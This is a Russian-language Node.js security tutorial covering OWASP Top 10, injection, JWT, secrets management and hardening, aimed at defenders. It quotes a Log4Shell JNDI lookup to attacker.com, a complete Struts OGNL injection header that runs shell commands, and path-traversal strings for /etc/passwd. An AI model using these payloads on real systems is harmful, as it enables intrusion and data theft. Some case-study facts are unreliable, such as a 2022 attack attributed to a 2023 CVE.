Node.js Internals
Security Patterns: Безопасность Node.js
В 2021 году компания Colonial Pipeline (крупнейший поставщик топлива в США) была атакована ransomware группой DarkSide. Атакующие получили доступ через скомпрометированный VPN пароль (без MFA). За 6 дней они зашифровали 100GB данных и потребовали 4.4 млн выкупа. Компания заплатила, но это вызвало панику: бензоколонки закрылись, цены на топливо выросли на 20%, были объявлены emergency alerts. И всё это из-за одного слабого пароля. Безопасность - это не опциональная фича, это фундамент приложения.
- **Equifax (2017):** 147 млн записей украдено через уязвимость Apache Struts (патч был доступен за 2 месяца). Стоимость для компании: 1.4 млрд в урегулировании, крах репутации.
- **npm event-stream (2018):** Вредоносный код в популярной библиотеке крал Bitcoin-ключи. 2 млн загрузок/неделю, никто не проверил код зависимости.
- **SolarWinds (2020):** Supply chain атака через скомпрометированный build процесс. Вредоносный код попал в официальное обновление, затронув 18,000 компаний включая правительство США.
- **Log4Shell (2021):** Zero-day в Log4j (Java logging библиотека). Миллионы серверов уязвимы, простая эксплуатация: `${jndi:ldap://attacker.com/a}` в user-agent. Исправление заняло месяцы, потому что Log4j используется везде.
OWASP Top 10 & Модель угроз
Представьте, что вы построили крепость (ваше Node.js приложение), но забыли закрыть задний ход. Атакующим не нужно взламывать стены - они просто войдут через открытую дверь. Именно так работает большинство атак на веб-приложения: не через сложные 0-day exploits, а через банальные ошибки разработчиков.
**OWASP Top 10** - это список самых распространённых уязвимостей веб-приложений, обновляемый каждые 3-4 года. Для Node.js критичны: **Injection** (SQL, NoSQL, Command), **Broken Authentication**, **Sensitive Data Exposure**, **Security Misconfiguration**, и **Using Components with Known Vulnerabilities**.
**Модель угроз (Threat Model)** - это системный подход к безопасности: *Кто* может атаковать? *Что* они хотят получить? *Как* они будут атаковать? Для каждого API endpoint спросите себя: что если пользователь отправит `userId: "../../../etc/passwd"`? Что если в JWT токене `role: "admin"`? Такое мышление предотвращает 90% уязвимостей.
Реальный кейс: атака на npm-библиотеку
**2018 год:** Пакет `event-stream` (2 млн загрузок/неделю) был скомпрометирован. Мейнтейнер передал права новому разработчику, который добавил зависимость `flatmap-stream` с вредоносным кодом. Код крал приватные ключи Bitcoin-кошельков из переменных окружения. **Почему это сработало:** - Никто не проверял изменения в dependencies - Секреты хранились в `process.env` без шифрования - Не было audit процесса для критичных зависимостей **Урок:** 1) Используйте `npm audit` и Snyk для проверки зависимостей 2) Храните секреты в Vault/Secrets Manager 3) Минимизируйте dependencies (меньше зависимостей = меньше attack surface).
**Принцип наименьших привилегий (Principle of Least Privilege):** Каждый компонент системы должен иметь минимальный набор прав, необходимый для работы. База данных для веб-приложения НЕ должна иметь права DROP TABLE. JWT токен НЕ должен содержать все данные пользователя. API ключ для отправки email НЕ должен иметь права читать emails.
У вас есть endpoint `GET /api/files/:filename` для скачивания файлов пользователя. Код: `res.sendFile(path.join(__dirname, 'uploads', req.params.filename))`. Какая главная уязвимость?
Injection Attacks
**Injection** - это атака, при которой злоумышленник внедряет код в пользовательский ввод, и ваше приложение выполняет этот код. Три самых опасных типа для Node.js: **SQL Injection** (классика), **NoSQL Injection** (MongoDB, Redis), **Command Injection** (exec, spawn). Все они работают по одному принципу: вы доверяете пользовательскому вводу и не экранируете его.
**Path Traversal** - частный случай injection. Атакующий использует `..` для выхода за пределы разрешённой директории. Пример: `GET /files?name=../../../../etc/passwd`. **Защита:** 1) Валидация пути (запретить `.`, `/`, `\`) 2) Использование `path.resolve()` + проверка, что итоговый путь внутри базовой директории 3) Whitelist разрешённых файлов.
Реальный кейс: Equifax Data Breach (2017)
**Equifax** (кредитное бюро США) потерял данные 147 миллионов человек из-за уязвимости Apache Struts (Java framework). Атакующие использовали **OGNL Injection** (аналог eval() для Java) в заголовке Content-Type. **Как это работало:** ``` Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} ``` **Урок:** 1) Обновляйте зависимости (патч был доступен за 2 месяца до атаки) 2) Используйте WAF для блокировки подозрительных заголовков 3) Минимизируйте данные (зачем хранить SSN 147 млн человек в одной БД?).
**НИКОГДА не используйте eval(), Function(), vm.runInNewContext() с пользовательским вводом!** Даже с sandbox'ом это опасно. Есть десятки способов выйти из sandbox (prototype pollution, process.binding, require.cache). Если нужно выполнять динамический код, используйте DSL (Domain-Specific Language) с парсером и интерпретатором, который контролирует все операции.
Вы используете MongoDB и хотите найти пользователей по email. Какой код БЕЗОПАСЕН от NoSQL injection?
Authentication & Authorization
**Authentication (AuthN)** - это *"кто ты?"* (проверка личности). **Authorization (AuthZ)** - это *"что тебе можно?"* (проверка прав). Классическая ошибка: сделать хорошую аутентификацию (JWT, OAuth), но забыть про авторизацию - пользователь залогинен, но может делать что угодно.
**JWT (JSON Web Token)** - стандарт для stateless аутентификации. Токен содержит payload (userId, role, exp) + подпись (HMAC SHA256 или RSA). Сервер не хранит сессии - просто проверяет подпись. Идеально для микросервисов и мобильных приложений. **Session-based** - сервер хранит сессии в памяти/Redis, клиент получает только session ID. Плюс: можно отозвать сессию мгновенно. Минус: масштабирование сложнее (нужен shared storage).
**Refresh Token Rotation:** При обновлении access token выдавайте новый refresh token и инвалидируйте старый. Это защищает от кражи refresh token - атакующий сможет использовать его только один раз, после чего легитимный пользователь получит ошибку, и вы поймёте, что токен скомпрометирован.
**CSRF (Cross-Site Request Forgery):** Если вы используете cookies для auth, обязательно защищайтесь от CSRF через: 1) `SameSite=Strict` cookie attribute 2) CSRF токены (генерируете случайный токен, храните в session, требуете его в POST-запросах) 3) Проверка заголовка `Origin`/`Referer`. JWT в заголовке `Authorization` не подвержен CSRF, но храните refresh token в httpOnly cookie.
Реальный кейс: JWT Secret в GitHub
**2019 год:** Разработчик случайно закоммитил `.env` файл с `JWT_SECRET` в публичный GitHub репозиторий. Атакующие нашли это через GitHub search, сгенерировали JWT токены с `role: 'admin'` и получили полный доступ к системе. **Почему это сработало:** - JWT secret был слабым (16 символов) - Не было мониторинга подозрительной активности - Не было rate limiting на критичных операциях **Урок:** 1) НИКОГДА не коммитьте `.env` 2) Используйте git-secrets / gitleaks для проверки 3) Храните секреты в Vault/Secrets Manager 4) Ротируйте секреты регулярно (и немедленно при компрометации) 5) Используйте мониторинг (алерт при создании нового admin пользователя).
Пользователь отправляет JWT токен с payload: {"userId": 123, "role": "user"}. Злоумышленник перехватил токен, изменил role на "admin" и пересчитал подпись с помощью публичного ключа RSA. Сможет ли он получить admin права?
Управление секретами
**Секреты** - это данные, компрометация которых даёт атакующему доступ к системе: API ключи, JWT secrets, приватные ключи, пароли от БД, credentials для AWS/GCP. Золотое правило: **НИКОГДА не храните секреты в коде, в git, в переменных окружения production серверов без шифрования**.
**Environment Variables** - минимальный уровень защиты для development. В production используйте **Secrets Manager** (AWS Secrets Manager, GCP Secret Manager, HashiCorp Vault, Azure Key Vault). Они обеспечивают: шифрование at rest и in transit, ротацию секретов, audit log (кто и когда получил секрет), granular access control.
**Ротация секретов:** Меняйте критичные секреты регулярно (JWT secret - каждые 90 дней, API keys - при смене разработчика, DB пароли - каждые 30 дней для продакшена). При ротации JWT secret используйте grace period: проверяйте токены и старым, и новым ключом 24 часа, чтобы не разлогинить всех пользователей мгновенно.
Реальный кейс: AWS Keys в Docker образе
**2020 год:** Компания собрала Docker образ с `AWS_ACCESS_KEY_ID` и `AWS_SECRET_ACCESS_KEY` в ENV переменных. Образ залили в публичный Docker Hub. Через 2 часа атакующие: 1. Скачали образ: `docker pull company/app:latest` 2. Извлекли env vars: `docker inspect company/app:latest` 3. Получили доступ к AWS аккаунту 4. Запустили 100 EC2 инстансов для майнинга криптовалюты 5. Счёт за месяц: 50,000 **Почему это сработало:** - AWS credentials в Docker образе - Не было AWS budget alerts - Не было MFA на критичных операциях (launch EC2) **Урок:** 1) НИКОГДА не храните credentials в Docker образах 2) Используйте IAM роли для EC2/ECS (credentials временные, ротируются автоматически) 3) Настройте billing alerts в AWS 4) Включите CloudTrail для аудита.
**Логирование секретов:** Убедитесь, что секреты НЕ попадают в логи. Частые ошибки: `console.log(req.headers)` (содержит Authorization header), `logger.error(error.stack)` (может содержать env vars), логирование всех query params (может быть `?api_key=...`). Используйте redaction в логгере (Winston, Pino) для маскировки чувствительных полей.
Вы храните JWT_SECRET в AWS Secrets Manager. Как приложение на EC2 должно получить этот секрет безопасно?
Hardening приложения
**Hardening** (усиление защиты) - это комплекс мер, которые уменьшают attack surface вашего приложения. Даже если в вашем коде нет очевидных уязвимостей, неправильная конфигурация может открыть доступ атакующим. Основные инструменты для Node.js: **Helmet.js** (security headers), **Rate Limiting** (защита от brute-force и DDoS), **CORS** (контроль cross-origin запросов), **CSP** (Content Security Policy).
**Defense in Depth (эшелонированная оборона):** Не полагайтесь на один уровень защиты. Комбинируйте: 1) Firewall + WAF (сеть) 2) Rate limiting + CORS (HTTP) 3) Input validation + Parameterized queries (приложение) 4) RBAC + Audit logs (бизнес-логика) 5) Monitoring + Alerts (детектирование атак). Если атакующий обойдёт один слой, его остановит следующий.
Реальный кейс: Cloudflare DDoS атака (2022)
**2022 год:** Cloudflare отразила рекордную DDoS атаку - 26 миллионов запросов в секунду. Атака использовала amplification через HTTP/2 Rapid Reset (CVE-2023-44487). **Как это работало:** 1. Атакующий открывает HTTP/2 соединение 2. Отправляет HEADERS frame (начинает запрос) 3. Немедленно отправляет RST_STREAM (отменяет запрос) 4. Сервер уже потратил ресурсы на обработку headers 5. Повторяет миллионы раз **Почему это сработало:** - Уязвимость в HTTP/2 спецификации - Отсутствие rate limiting на уровне protocol frames - Сервера не детектировали аномальный паттерн (высокий RST_STREAM rate) **Урок:** 1) Rate limiting на ВСЕХ уровнях (не только HTTP requests, но и TCP connections, protocol frames) 2) Аномалии детектирования (алерт при нетипичном поведении) 3) Используйте CDN/WAF (Cloudflare, AWS Shield) для защиты от DDoS.
**Не полагайтесь только на client-side валидацию!** Атакующий может отправить запрос напрямую через curl/Postman, минуя ваш фронтенд. ВСЕГДА валидируйте данные на сервере. Client-side валидация - для UX, server-side - для безопасности.
**Security Checklist для Production:** ✅ HTTPS только (HSTS enabled) ✅ Helmet.js с CSP ✅ Rate limiting (global + per-endpoint) ✅ CORS настроен (whitelist origins) ✅ Secrets в Secrets Manager (не в .env) ✅ JWT с коротким expiry (15 min access, 7 days refresh) ✅ Input validation (Zod/Joi) на всех endpoints ✅ Prepared statements / ORM (защита от injection) ✅ RBAC/ABAC для авторизации ✅ npm audit в CI/CD ✅ Logging (Winston) + Monitoring (Sentry) ✅ Regular security audits ✅ Dependency updates (Renovate Bot)
HTTPS автоматически защищает от всех атак
HTTPS шифрует только транспорт, но не защищает от XSS, SQL injection, CSRF, или других уязвимостей приложения
HTTPS (TLS) обеспечивает конфиденциальность и целостность данных между клиентом и сервером - атакующий не может прочитать или изменить данные в пути. Но HTTPS НЕ защищает от: 1) SQL injection (уязвимость в коде) 2) XSS (выполнение злонамеренного JS в браузере) 3) CSRF (подделка запросов от имени пользователя) 4) Path traversal 5) Broken authentication. HTTPS - это только один слой защиты. Даже с HTTPS нужны все остальные меры: валидация, CSP, rate limiting, и т.д.
Ключевые идеи
- **OWASP Top 10** — ваш чеклист безопасности. Injection, Broken Auth, Sensitive Data Exposure, Security Misconfiguration — это 80% уязвимостей. Модель угроз: для каждого endpoint спрашивайте "что если пользователь злонамеренный?"
- **Injection (SQL/NoSQL/Command/Path)** — НИКОГДА не конкатенируйте пользовательский ввод в запросы/команды. Используйте: prepared statements, ORM, валидацию типов (Zod), execFile вместо exec, path.resolve + проверку диапазона.
- **Authentication & Authorization** — это два разных уровня. JWT для stateless auth (короткий access + длинный refresh token), Sessions для stateful. RBAC/ABAC для прав доступа. OAuth 2.0 для делегированной авторизации. Защита от CSRF через SameSite cookies + CSRF токены.
- **Secrets Management** — НИКОГДА в коде/git. Development: .env + валидация. Production: AWS Secrets Manager / Vault. Генерация: crypto.randomBytes(32). Ротация: каждые 90 дней для JWT, мгновенно при компрометации. IAM роли вместо долгоживущих credentials.
- **Hardening** — эшелонированная оборона. Helmet.js (CSP, HSTS, X-Frame-Options), Rate Limiting (brute-force + DDoS), CORS (whitelist origins), npm audit (уязвимые зависимости), Monitoring (детектирование атак). HTTPS — только первый слой, не панацея.
Связанные темы
Безопасность - это не изолированная тема, а часть архитектуры приложения:
- Crypto Module — Используется для хеширования паролей (bcrypt, scrypt), генерации JWT secrets, шифрования данных (AES-256-GCM), создания HMAC подписей
- HTTP/2 & HTTP/3 — Современные протоколы улучшают безопасность (TLS 1.3 обязателен), но вводят новые уязвимости (HTTP/2 Rapid Reset DDoS)
- Error Handling — Правильная обработка ошибок предотвращает утечку информации (stack traces с путями, переменными окружения, SQL запросами)
- Production Patterns — Мониторинг (Winston, Sentry), Health checks, Graceful shutdown, Process managers - критичны для безопасности в продакшене
Вопросы для размышления
- Какие три самые критичные уязвимости в вашем текущем проекте? Как их закрыть за следующие 48 часов?
- Если завтра ваш GitHub репозиторий станет публичным, какие секреты утекут? Как переписать архитектуру, чтобы это не было проблемой?
- Представьте, что атакующий получил доступ к вашей БД (SQL injection). Какие данные он сможет прочитать? Как минимизировать ущерб через шифрование и least privilege?
- Если ваш JWT secret скомпрометирован, сколько времени займёт ротация? Можете ли вы сделать это без downtime и массового разлогинивания пользователей?
- Как вы узнаете, что ваше приложение атакуют прямо сейчас? Какие метрики/алерты настроены? Что делать в первые 5 минут после обнаружения атаки?